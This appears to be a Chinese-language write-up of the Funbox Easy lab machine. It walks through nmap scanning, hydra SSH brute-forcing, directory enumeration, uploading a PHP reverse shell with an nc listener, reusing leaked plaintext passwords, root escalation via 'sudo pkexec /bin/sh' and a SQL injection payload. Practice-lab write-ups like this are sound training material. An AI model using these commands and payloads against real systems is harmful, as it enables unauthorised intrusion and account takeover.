getwebshell → 异常艰难的目录扫描 → 敏感信息泄露账户密码 → 文件上传登录
提 权 思 路 → 用户密码文件泄露 → ssh
登录 → sudo
提权
192.168.45.207
192.168.230.111
sudo nmap --min-rate 10000 -p- 192.168.230.111
# tcp探测
sudo nmap -sT -sV -O -sC -p22,80,33060 192.168.230.111
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
# 进入msf
msfconsole
# 搜索对应脚本
msf6 > searchsploit OpenSSH 8.2p1
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
ssh [email protected] -v
# 如果显示publickey、password就是都支持
支持密钥以及密码登录
既然支持密码登录尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
hydra -l root -P /usr/share/wordlists/metasploit/password.lst -t 6 -vV 192.168.230.111 ssh -s 22
期待奇迹发生,先挂着爆破弱口令
尝试root
账户的密码爆破发现报错之后进行手动尝试
ssh [email protected] -p 22
# 密码尝试
password > root
访问 http://192.168.230.111:80
发现是建站页直接从源码查看开始
# 包括文章中是否写明一些敏感信息
curl http://192.168.230.111:80
dirsearch -u http://192.168.230.111:80 -x 302,403
被吓到了,太多端点了
信息收集-目录扫描(后缀)
信息收集-目录扫描(深度/大字典)
信息收集-目录扫描(深度/大字典后缀)
/robots.txt
端点优先访问robots.txt
端点
curl http://192.168.230.111/robots.txt
得到gym
##### /secret
端点
从目录名字上来说,比较有诱惑力
┌──(root㉿Kali)-[/home/bachang/FunboxEasy]
└─# curl http://192.168.230.111/secret/
„Anyone who lives within their means suffers from a lack of imagination.“
Oscar Wilde (*1854 - †1900)
给了一段摸不着头脑的内容(后面没思路在思考)
/admin
端点与/admin/?/login
端点访问 http://192.168.230.111/admin/
发现了登录端点
http://192.168.230.111/admin/?/login
端点同理
/index.php
与/index.php/login/
端点访问 http://192.168.230.111/index.php/login/
同样是一个登录端点
从经验上来说 ,下面几个端点先放一边
/gym
端点从泄露中访问对应端点 http://192.168.230.111/gym/
whatweb http://192.168.230.111/admin
whatweb http://192.168.230.111/gym/
whatweb http://192.168.230.111/index.php/login/
根据现有信息得出CMS
与CRM
有关
在似乎陷入困境之后思考到了之前目录扫描301
的内容,接着扫描/store
端点
dirsearch -u http://192.168.230.111:80/store -x 302,403
又是劝退系列,特别多,慢慢访问
/store/.gitattributes
端点该端点似乎存在了提示
┌──(root㉿Kali)-[/home/bachang/FunboxEasy]
└─# curl http://192.168.230.111/store/.gitattributes
# Auto detect text files and perform LF normalization
* text=auto
/store/functions/
端点似乎存在路径遍历,访问之后没有显示内容,先待定
/store/controllers/
端点同理/store/database/
端点在该端点下发现了有趣的内容
readme.txt.txt
文件提示了账号密码信息,数据库信息以及邮箱
-- Database: `www_project`
('admin', 'd033e22ae348aeb5660fc2140aec35850c4da997');
/store/template/
端点/store/index.php
与/store/admin.php
端点在访问的index.php
端点下存在登录窗口
主要收集admin.php
whatweb http://192.168.230.111/store/admin.php
思考了一下 /store/database/
端点的泄露很有意思
访问 http://192.168.230.111/store/admin.php
使用 admin:admin
成功进入后台
尝试修改文件的时候发现上传点
发现添加的按钮尝试添加
检查了与publisher
相关的行
O'Reilly Media
Apress
Wrox
Wiley
Addison-Wesley
发现使用对应的内容上传即可成功
# 利用cp命令cp一个到当前文件夹
sudo cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php
# 开启监听
sudo nc -lnvp 4444
# 修改一下shell的反代地址
vim shell.php
发现上传的图片在首页可以查看到大致位置
http://192.168.230.111/store/bootstrap/img/c_sharp_6.jpg
推理我们上传的在
http://192.168.230.111/store/bootstrap/img/shell.php
成功获得shell
感觉异常艰难
由于获取的shell交互不友好,利用python获得新的交互shell
python -c "import pty;pty.spawn('/bin/bash')";
# 利用python获取交互shell -> python失败使用python3
python3 -c "import pty;pty.spawn('/bin/bash')";
www-data<span>@funbox3</span>:/$ find / -name local.txt 2>/dev/null
find / -name local.txt 2>/dev/null
/var/www/local.txt
www-data<span>@funbox3</span>:/$ cat /var/www/local.txt
cat /var/www/local.txt
********************
提权的本质在于枚举
# 确定发行版本
lsb_release -a
Ubuntu 20.01
发行版不太能overlayfs
提权
cat /proc/version
uname -a
内核版本 5.4.0
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
sudo -l
搜索suid
文件权限
# -perm 文件权限
find / -perm -u=s -type f 2>/dev/null
ls -al /etc/passwd
-rw-r--r-- 1 root root 1807 Jul 30 2020 /etc/passwd
# 探查有CAP_SETUID标志的进程
/usr/sbin/getcap -r / 2>/dev/null
发现/home
目录下只有tony
ls -al /home/tony
www-data@funbox3:/home/tony$ cat password.txt
ssh: yxcvbnmYYY
gym/admin: asdfghjklXXX
/store: [email protected] admin
通过敏感信息推测tony
账户的密码是yxcvbnmYYY
获取账号密码之后利用SSH进行登录
sudo ssh [email protected] -p22
password > yxcvbnmYYY
查找具有sudo
权限,且不需要密码的可提权文件
# 利用sudo -l寻找
sudo -l
发现了许多可以提权的文件,进行提权
查找具有sudo
权限,且不需要密码的可提权文件
(root) NOPASSWD: /usr/bin/yelp
(root) NOPASSWD: /usr/bin/dmf
(root) NOPASSWD: /usr/bin/whois
(root) NOPASSWD: /usr/bin/rlogin
(root) NOPASSWD: /usr/bin/pkexec
(root) NOPASSWD: /usr/bin/mtr
(root) NOPASSWD: /usr/bin/finger
(root) NOPASSWD: /usr/bin/time
(root) NOPASSWD: /usr/bin/cancel
(root) NOPASSWD: /root/a/b/c/d/e/f/g/h/i/j/k/l/m/n/o/q/r/s/t/u/v/w/x/y/z/.smile.sh
如果发现sudo -l有东西的话 访问 https://gtfobins.github.io 寻找
发现pkexec
提权
sudo pkexec /bin/sh
# cat /root/proof.txt
**********************
完结撒花~
该登录端点 CSE Bookstore
存在SQL
注入
' or 1=1; --
测试注入之后可以用sqlmap
获取数据库信息